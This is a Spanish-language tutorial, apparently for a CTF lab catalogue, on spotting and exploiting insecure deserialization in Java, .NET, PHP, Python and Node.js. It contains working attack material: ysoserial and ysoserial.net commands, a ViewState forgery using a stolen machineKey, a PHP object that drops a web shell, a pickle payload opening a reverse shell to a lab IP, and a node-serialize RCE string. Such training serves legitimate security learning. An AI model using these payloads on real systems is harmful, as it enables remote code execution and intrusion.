Deserialización insegura: reconocerla y explotarla en Java, .NET, PHP, Python y Node.js
Reconocer datos serializados por sus primeros bytes (rO0AB, AAEAAAD, O:, gASV), entender las gadget chains y lograr RCE con ysoserial, phpggc o pickle.
Serializar es convertir un objeto en bytes para guardarlo o mandarlo (en una cookie, un campo oculto, una cola de mensajes) y deserializar es reconstruirlo. Si la aplicación reconstruye lo que tú le mandas sin comprobarlo, puedes darle un objeto que, al cargarse, ejecute código. Es la deserialización insegura, con una veintena de máquinas en el catálogo y una de las vías de RCE más típicas en aplicaciones Java y .NET.
1. Reconocerla
Lo primero es ver datos serializados. Míralos en cookies, parámetros ocultos, cabeceras y cuerpos de peticiones, y decodifica lo que parezca base64:
| Empieza por | Qué es |
|---|---|
rO0AB (base64) / AC ED 00 05 (hex) |
Java (ObjectInputStream) |
AAEAAAD///// (base64) |
.NET BinaryFormatter |
/wEy... o un campo __VIEWSTATE |
.NET ViewState |
{"$type":"System... |
.NET Json.NET con TypeNameHandling |
O:4:"User":2:{...} o a:2:{...} |
PHP serialize() |
gASV (base64) / 80 04 95 (hex) |
Python pickle (protocolo 4) |
{"rce":"_$$ND_FUNC$$_function(){...}"} |
Node.js node-serialize |
--- !ruby/object |
Ruby YAML |
El codificador te ayuda a pasar de base64 a hexadecimal para ver la cabecera.
2. La idea: gadget chains
No mandas código: mandas un objeto de una clase que ya existe en la aplicación o en sus librerías, con unos valores elegidos para que los métodos que se llaman solos al deserializar (readObject, __wakeup, __destruct, __reduce__) acaben ejecutando un comando. A esa cadena de clases se le llama gadget chain, y hay herramientas que traen las conocidas para cada librería.
3. Java: ysoserial
java -jar ysoserial-all.jar CommonsCollections5 'ping -c 2 10.10.14.5' | base64 -w0
Qué gadget usar depende de las librerías que tenga la aplicación (Commons Collections, Spring, Groovy...). Si no lo sabes, prueba los más comunes y mira si te llega el ping (sudo tcpdump -ni tun0 icmp). URLDNS no ejecuta nada, pero hace una consulta DNS: sirve para confirmar que se deserializa aunque no haya ninguna gadget chain útil.
Truco
Los comandos en ysoserial no pasan por una shell: |, > y las comillas no funcionan. Usa bash -c {echo,BASE64}|{base64,-d}|{bash,-i} para meter una reverse shell completa.
4. .NET: ysoserial.net
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.5"
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c ..."
Con ViewState, necesitas la clave de validación (machineKey) del web.config, que puedes leer con una LFI:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -enc ..." `
--path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="..." `
--validationalg="SHA1" --validationkey="..."
Es la cadena de POV. En JSON, un token en base64 es JSON de Json.NET con $type.
5. PHP: phpggc y la magia de las clases
En PHP, unserialize() crea objetos de cualquier clase cargada y llama a sus métodos mágicos (__wakeup, __destruct, __toString). Si tienes el código (por un .git expuesto, por ejemplo), busca esos métodos y construye el objeto tú:
<?php
class Logger { public $fichero = '/var/www/html/shell.php'; public $datos = '<?php system($_GET["c"]); ?>'; }
echo urlencode(serialize(new Logger()));
Si no, phpggc trae cadenas para Laravel, Symfony, Monolog, Guzzle, WordPress...:
phpggc -l laravel
phpggc Laravel/RCE9 system id -b
Un truco relacionado: un fichero phar:// también se deserializa al leerlo con funciones de ficheros normales (file_exists, fopen), así que una subida de ficheros más una ruta controlada pueden acabar en lo mismo.
6. Python: pickle
pickle.loads() ejecuta lo que diga __reduce__. No hace falta ninguna librería especial:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'",))
print(base64.b64encode(pickle.dumps(RCE())).decode())
Lo mismo con yaml.load() sin SafeLoader (!!python/object/apply:os.system [...]). En Canape, el código fuente expuesto deja ver un cPickle.loads() sobre datos del usuario.
7. Node.js: node-serialize
node-serialize evalúa las funciones marcadas con _$$ND_FUNC$$_, y si añades () al final, se ejecutan al deserializar:
{"usuario":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 2 10.10.14.5')}()"}
Codifícalo en base64 si la cookie lo espera así. Es la entrada de Celestial.
Errores típicos
- No pasa nada con ningún gadget: la aplicación no tiene esas librerías en el classpath, o filtra clases. Confirma primero con
URLDNS(Java) o con un gadget de solo DNS. - Error de deserialización: la codificación no es la que espera (base64 normal frente a URL-safe, URL-encoded encima, comprimido con gzip). Mira cómo viene el dato original y reprodúcelo igual.
- El ViewState se rechaza: el
--pathy el--apppathtienen que ser exactamente los de la página, o la firma no cuadra.
Y después
Con la ejecución de comandos, consigue una shell (reverse shells) y sigue la checklist de post-explotación. Y recuerda que la deserialización también aparece dentro de las máquinas, en scripts que ejecuta root: Precious termina con un YAML de Ruby que deserializa lo que escribes.